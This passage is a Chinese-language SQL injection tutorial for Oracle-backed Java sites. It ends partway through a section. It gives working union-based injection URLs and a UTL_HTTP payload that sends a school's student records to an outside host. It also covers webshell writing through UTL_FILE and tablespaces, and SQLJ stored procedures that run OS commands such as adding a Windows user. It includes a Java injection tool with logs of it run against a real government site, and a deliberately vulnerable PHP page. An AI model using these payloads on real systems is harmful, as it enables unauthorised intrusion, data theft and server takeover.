攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]

wyzsk發表於2020-08-19
作者: 園長 · 2013/07/18 17:23

注:這一節主要是介紹Oracle和SQL隱碼攻擊工具相關,本應該是和前面的Mysql一起但是由於章節過長了沒法看,所以就分開了。


0x00 Oracle


Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關聯式資料庫管理系統。

Oracle對於MYSQL、MSSQL來說意味著更大的資料量,更大的許可權。這一次我們依舊使用上面的程式碼,資料庫結構平移到Oracle上去,資料庫名用的預設的orcl,欄位"corps_desc" 從text改成了VARCHAR2(4000),JSP內的驅動和URL改成了對應的Oracle。  enter image description here

Jsp頁面程式碼:  enter image description here

開始注入:

Union +order by 永遠都是最快捷最實用的,而盲注什麼的太費時費力了。

依舊提交order by 去猜測顯示當前頁面所用的SQL查詢了多少個欄位,也就是確認查詢欄位數。

分別提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1?id=1 AND 1=12 得到的頁面明顯不一致,1=12頁面沒有任何資料,即1=12為false沒查詢到任何結果。  enter image description here

http://localhost/SqlInjection/index.jsp?id=1 AND 1=12

enter image description here

提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 頁面正常,提交:?id=1 ORDER BY 5--報錯說明欄位數肯定是4。

Order by 5爆出的錯誤資訊:  enter image description here

使用union 進行聯合查詢:

Oracle的dual表:

dual是一個虛擬表,用來構成select的語法規則,oracle保證dual裡面永遠只有一條記錄,在Oracle注入中用途可謂廣泛。

Oracle union 查詢 tips:

Oracle 在使用union 查詢的跟Mysql不一樣Mysql裡面我用1,2,3,4就能佔位,而在Oracle裡面有比較嚴格的型別要求。也就是說你union select的要和前面的

SELECT * from "corps" where "id" = 1 

當中查詢的欄位型別一致。我們已知查詢的第二個欄位是corps_name,對應的資料型別是:VARCHAR2(100),也就是字元型。當我們傳入整型的數字時就會報錯。比如當我們提交union查詢時提交如下SQL隱碼攻擊語句:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--

enter image description here

Oracle當中正確的注入方式用NULL去佔位在我們未知哪個欄位是什麼型別的時候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--

當已知第一個欄位是整型的時候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--

SQL執行後的佔位效果:  enter image description here

根據我們之前注入Mysql的經驗,我們現在要儘可能多的去獲取伺服器資訊和資料庫,比如資料庫版本、許可權等。

在講Mysql注入的時候已經說道要合理利用工具,在Navicat客戶端執行select * from session_roles結果:  enter image description here

Oracle查詢分頁tips:

不得不說Oracle查詢分頁的時候沒有Mysql那麼方便,Oracle可不能limit 0,1而是透過三層查詢巢狀的方式實現分頁(查詢第一條資料“>=0<=1”取交集不就是1麼?我數學5分黨,如果有關數學方面的東西講錯了各位莫怪):

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 

enter image description here

在Oracle裡面沒有類似於Mysql的group_concat,用分頁去取資料,不過有更加簡單的方法。

用UNION SELECT 查詢:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--

enter image description here

不過我得告訴你,UNION SELECT查詢返回的是多個結果,而在正常的業務邏輯當中我們取一條新聞是直接放到對應的實體當中的,比如我們查詢的wooyun的廠商表:corps,那麼我們做查詢的很有可能是抽象出一個corps物件,在DAO層取得到單個的引數結果集,如果有多個要麼報錯,要麼取出第一條。然後再到controller層把查詢的結果放到請求裡面。最終在輸出的時候自然也就只能拿到單個的corps實體,這也是檢視層只做展示把業務邏輯和檢視分開的好處之一,等講到MVC的時候試著給不懂的朋友解釋一下。

再來看一下我們醜陋的在頁面展示資料的程式碼:  enter image description here

接下來的任務就是收集資訊了,上面我們已經收集到資料庫所有的使用者的使用者名稱和我們當前使用者的許可權。

獲取所有的資料庫表:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—

連線符我用的是-轉換成編碼也就是45  enter image description here

已列舉出所有的表名:  enter image description here

當UNION ALL SELECT 不起作用的時候我們可以用上面的Oracle分頁去挨個讀取,缺點就是效率沒有UNION ALL SELECT高。

資訊版本獲取:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—

enter image description here

獲取啟動Oracle的使用者名稱:

select SYS_CONTEXT ('USERENV','OS_USER') from dual;

伺服器監聽IP:

select utl_inaddr.get_host_address from dual;

伺服器作業系統:

select member from v$logfile where rownum=1;

當前連線使用者:

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;

獲取當前連線的資料庫名:

select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;

關於獲取敏感的表和欄位說明:

1、獲取所有的欄位schema:

select * from user_tab_columns

2、獲取當前使用者許可權下的所有的表:

SELECT * FROM  User_tables

上述SQL透過新增Where條件就能獲取到常見注入的敏感資訊,請有心學習的同學按照上面的MYSQL隱碼攻擊時透過information_schema獲取敏感欄位的方式去學習user_tab_columns和FROM User_tables表。  enter image description hereenter image description here

Oracle高階注入:

1、友情備份

在講Mysql的時候提到過怎麼在注入點去構造SQL語句去實現友情備份,在去年注入某大牛學校的教務處的時候我想到了一個簡單有效的SQL隱碼攻擊點友情備份資料庫的方法。沒錯就是利用Oracle的utl_http包。Oracle的確是非常的強大,utl_http就能過直接對外傳送Http請求。我們可以利用utl_http去SQL隱碼攻擊,那麼我們一樣可以利用utl_http去做友情備份。

構建以下SQL隱碼攻擊語句:

http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)

UTL_HTTP 會帶著查詢資料庫的結果去請求我們的URL,也就是我注入點上寫的URL。Tips:UTL_HTTP是一條一條的去請求的,所以會跟資料庫保持一個長連線。而資料量過大的話會導致資料丟失,如果想完整的友情備份這種方法並不是特別可行。只用在瀏覽器上請求這個注入點Oracle會自動的把自己的褲子送上門來那種感覺非常的好。

enter image description here

使用UTL_HTTP友情備份效果圖:  enter image description here

utl_http在注入的時候怎麼去利用同理,由於我也沒有去深入瞭解utl_http或許他還有其他的更實用的功能等待你去發現。

使用UTL_FILE友情備份:

建立目錄:

create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';  

匯出資料到檔案:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
        for rec in (select * from admin) loop
            utl_file.put_line(frw,rec.id||','||rec.password);
        end loop;
        utl_file.fclose(frw);
    end;
/

效果圖:  enter image description here

GetShell

之前的各種Oracle文章似乎都提過怎樣去getshell,其實方法倒是有的。但是在Java裡面你要想拿到WEB的根路徑比那啥還難。但是PHP什麼的就不一樣了,PHP裡面爆個路徑完全是家常便飯。因為資料庫對開發語言的無關係,所以或許我們在某些場合下以下的getshell方式也是挺不錯的。

在有Oracle連線許可權沒有webshell時候透過utl_file獲取shell

(當然使用者必須的具有建立DIRECTORY的許可權):

enter image description here

執行:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';

當然了as後面跟的肯定是你的WEB路徑。

執行以下SQL語句:

建立目錄:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';

寫入shell到指定目錄:注意directory在這裡一定要大寫:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
        utl_file.put_line(frw,'hello world.');
        utl_file.fclose(frw);
    end;
/

enter image description here

在低許可權下getshell:  enter image description here

執行以下SQL建立表空間:

create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;

這方法是能寫檔案,但是好像沒發現我的hello world,難道是我開啟方式不對?

Oracle SQLJ編譯執行Java程式碼:

眾所周知,由於sun那隻土鱉不爭氣居然被oracle給收購了。

不過對Oracle來說的確是有有不少優勢的。

SQLJ是一個與Java程式語言緊密整合的嵌入式SQL的版本,這裡"嵌入式SQL"是用來在其宿主通用程式語言如C、C++、Java、Ada和COBOL)中呼叫SQL語句。SQL翻譯器用SQLJ執行時庫中的呼叫來替代嵌入式SQLJ語句,該執行時庫真正實現SQL操作。這樣翻譯的結果是得到一個可使用任何Java翻譯器進行編譯的Java源程式。一旦Java源程式被編譯,Java執行程式就可在任何資料庫上執行。SQLJ執行環境由純Java實現的小SQLJ執行庫(小,意指其中包括少量的程式碼)組成,該執行時庫轉而呼叫相應資料庫的JDBC驅動程式。

SQLJ可以這樣玩:首先建立一個類提供一個靜態方法:  enter image description here

其中的getShell是我們的方法名,p和才是引數,p是路徑,而c是要寫的檔案內容。在建立Java儲存過程的時候方法型別必須是靜態的static

執行以下SQL建立Java儲存過程:

create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}

建立函式:

create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';

建立儲存過程:

create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;

授予Java許可權:

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;

寫webshell:

exec :x:=getShell('d:/3.txt','selina');

enter image description here

SQLJ執行cmd命令:

方法這裡和上面幾乎大同小異,一樣的提供一個靜態方法,然後去建立一個儲存過程。然後呼叫Java裡的方法去執行命令。

建立Java儲存過程:

create or replace and compile java source named "Execute" as   
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Execute {
    public static void executeCmd(String c) {
        try {
            String l="",t;
            BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
            while((t=br.readLine())!=null){
                l+=t+"\n";
            }
            System.out.println(l);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

建立儲存過程executeCmd:

create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';

執行儲存過程:

exec executeCmd('net user selina 123 /add');

enter image description here

上面提供的命令執行和getshell建立方式對換一下就能回顯了,如果好不清楚怎麼讓命令執行後回顯可以參考:

http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833

一個不錯的SQLJ的demo(犀利的 oracle 注入技術)。

http://huaidan.org/archives/2437.html

0x01 自動化的SQL隱碼攻擊工具實現


透過上面我們對資料庫和SQL隱碼攻擊的熟悉,現在可以自行動手開發注入工具了吧?

很久以前非常粗糙的寫了一個SQL隱碼攻擊工具類,就當作demo給大家做個演示了。

僅提供核心程式碼,案例中的gov網站請勿非常攻擊!

簡單的SQL Oder by 注入實現的方式核心程式碼:

1、分析

URLpublic static void AnalysisUrls(String site) throws Exception

這個方法主要是去分析URL的組成是否靜態化等。

2、檢測是否存在:

這個做的粗糙了些,只是透過請求提交不同的SQL隱碼攻擊語句去檢測頁面返回的情況:

/**
     * 分析SQL引數是否存在注入
     * @param str
     */
    public static void  AnalysisUrlDynamicParamSqlInjection(String str[]) {
        Map<String,Object> content,content2;
        sqlKey = new ArrayList<Object>();
        content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
        int len1 = content.get("content").toString().length();//原始請求的response長度
        boolean typeIsNumber = false;
        String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需要檢查的物件
        for (int i = 0; i < str.length; i++) {
            typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
            for (int j = 0; j < c1.length; j++) {
                content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
                if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
                    existsInjection = true;
                    sqlKey.add(str[i]);
                    break ;
                }
            }
        }
        if (existsInjection) {
//              System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL隱碼攻擊.":"Not Found.");
            getSelectColumnCount(str);
            getDatabaseInfo();
        }
    }

檢測過程主要傳送了幾次請求,一次正常的請求和N次帶有SQL隱碼攻擊的請求。如果SQL隱碼攻擊的請求和正常請求的結果不一致(有不可控因素,比如SQLMAP的實現方式就有去計算頁面是否穩定,從而讓檢測出來的結果更加準確)就可能是存在SQL隱碼攻擊。

日誌如下:

url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148

獲取欄位數主要是透過:

/**
     * 獲取查詢欄位數
     * @param str
     */
    public static int getSelectColumnCount(String str[]){
        Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的請求包
        int len1 = sb.get("content").toString().length();//原始請求的response長度
        int count = -1;
        for (Object o : sqlKey) {
            count = getSbCount(o.toString(), len1);//計算欄位
        }
        return count;
    }

/**
     *獲取order by 欄位數
     * @param key
     * @param len1
     * @return
     */
    public static int getSbCount(String key,int len1){
        System.out.println("-----------------------end:"+end+"-----------------------------");
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
        if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
            System.out.println("index:"+end);
            start = end;
            for (int i = start; i < 2*start+1; i++) {
                System.out.println("************開始精確匹配*****************");
                Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
                if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
                    System.out.println("order by 欄位數為:"+end);
                    sbCount = end;//設定欄位長度為當前檢測出來的長度
                    return index = end;
                }else {
                    end++;
                }
            }
        }else {
            end = end/2;
            getSbCount(key, len1);
        }
        return index;
    }

利用檢測是否存在SQL隱碼攻擊的原理同樣能過檢測出查詢的欄位數。我們透過二分去order一個by 一個數然後去請求分析頁面一致性。然後不停的去修改數值最終結果相等即可獲得欄位數。上面的分析的程式碼挺簡單的,有興趣的同學自己去看。日誌如下:

************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+15+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
************開始精確匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+22+%23
order by 欄位數為:21
skey:id=148

在知道了欄位數後我們就可以透過構建關鍵字的方式去獲取SQL隱碼攻擊查詢的結果,我們的目的無外乎就是不停的遞交SQL隱碼攻擊語句,把我們想要得到的資料庫的資訊展示在頁面,然後我們透過自定義的關鍵字去取回資訊到本地:

/**
     * 測試,獲取資料庫表資訊
     */
    public static void getDatabaseInfo(){
        String skey = sqlKey.get(0).toString();
        System.out.println("skey:"+skey);
        StringBuilder union = new StringBuilder();
        for (int i = 0; i < sbCount; i++) {
            union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
        }
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
        String rs = ((String)sb.get("content"));
        String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
        String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
        String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
        System.err.println("user:"+user);
        System.err.println("version:"+version);
        System.err.println("database:"+database);
    }

程式碼執行的日誌:

url:http://www.tchjbh.gov.cn/news_display.php
param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
user:[email protected]
version:5.1.56-community
database:tchjbh


0x02 模擬SQL隱碼攻擊分析注入工具原理


下面這個演示是針對想自己擴充上面寫的SQL隱碼攻擊工具的同學。這次我才用的是PHP語言去弄清SQL隱碼攻擊工具的具體實現。資料庫採用的是wordpress的結構,資料庫結構如下,建議在本地先安裝好wordpress任意版本:

enter image description here

程式碼如下:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<style>
    .main{margin:0 auto;width:980px;border:1px dashed }
    .title{line-height:25px; text-align:center; font-size:18px; font-weight:500}
    pre{text-indent: 2em; margin:20px auto 10px 20px;}
</style>
<title></title>
</head>
<body>
<div class="main">
<?php
    extract($_GET);//to Map
    if(!empty($id)){
        $con = mysql_connect("localhost","root","111111");//連線資料庫
        $db_selected = mysql_select_db("wps",$con);//選擇資料庫
        mysql_query("SET NAMES 'GBK'"); //設定編碼
        $sql = "SELECT * from wps_posts where ID = ".$id;//查詢文章語句
        echo  "<font color=red>".$sql."</font>";//列印SQL

        /*擷取SQL隱碼攻擊工具的SQL*/
         $paths="getsql.txt";//定義要生成的html路徑
         $handles=fopen($paths,"a");//以可寫方式開啟路徑
         fwrite($handles,$sql."\t\t\n\n\n");//寫入內容
         fclose($handles);//關閉開啟的檔案

        $result = mysql_query($sql,$con);//執行查詢
        /*結果遍歷*/
        while ($row=mysql_fetch_array($result)) {
            echo  "<div class=title>".$row['post_title']."</div>";//把結果輸出到介面
            echo  "<pre>".$row['post_content']."</pre>";//文章內容
        }
        mysql_close($con);//關閉資料庫連線
    }
?>
</div>
</body>
</html>

建立好資料庫和表之後訪問(由於我採用的是自己的wp部落格,所有有大量的測試資料如果沒有資料建議安裝個wordpress方便以後的測試):  enter image description here

SQL隱碼攻擊測試:

enter image description here

讓我們來看下m4xmysql究竟在SQL隱碼攻擊點提交了那些資料,點選start我們的PHP程式會自動在同目錄下生成一個getsql.txt開啟後發現我們截獲到如下SQL:

enter image description here

enter image description here

看起來不算多,因為我沒有自動換行,以上是在獲取資料庫相關資訊。

讓我來帶著大家翻譯這些SQL都做了些什麼:

/*檢測該URL是否存在SQL隱碼攻擊*/
SELECT * from wps_posts where ID = 739 and 1=0      
SELECT * from wps_posts where ID = 739 and 1=1      

/*這條sql開始查詢的欄位數,請注意是查詢的欄位數而不是表的欄位數!*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--       

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--     
/*........................省去其中的無數次欄位長度匹配嘗試................................*/

/*匹配出來SELECT * from wps_posts where ID = 739一共查詢了10個欄位*/
/*那麼他是怎麼判斷出欄位數10就是查詢的長度的呢?答案很簡單提交以下SQL佔位10個頁面顯示正常而前面提交的都錯誤所以得到的數量自然就是10了。獲取請求的http status或許應該就行了*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--

以上的SQL完成了注入點(http://localhost/Test/1.php?id=739執行的SELECT * from wps_posts where ID = 739)的型別、是否存在和欄位數量的檢測 裡面有許多的0x5b2f68345d轉換過來其實就是佔位符,為了讓工具扒下原始碼後能夠在頁面類找到具有特殊意義的字元並進行擷取:

enter image description here  如果你足夠聰明或仔細會發現他這樣寫有點浪費資源,因為他的order 是從1一直遞增到爭取的長度的假如欄位特別長(一般情況下還是很少出現的)可能要執行幾十個甚至是更多的HTTP請求,如果這裡使用二分法或許可以很好的解決吧。

我們接著往下看(還是點選start後傳送的請求):

/*獲取資料庫相關資訊*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--

這玩意到底是什麼神秘的東西呢?我們不妨在Navicat和FireFox裡面瞅瞅:

enter image description here

FireFox執行的結果:

enter image description here

讓我們來還原上面的那句廢話:

select file_priv from mysql.user where user=root

enter image description here

上面很長很臭的SQL翻譯過來就這麼短的一句查詢的結果就一個得到的資訊就是:

有沒有file_priv許可權。而file_priv應該就是檔案讀寫許可權了(沒看手冊,應該八九不離十)。如果不是Y是N那就不能load_file 、into outfile、dumpfile咯。

接著看下一條SQL:

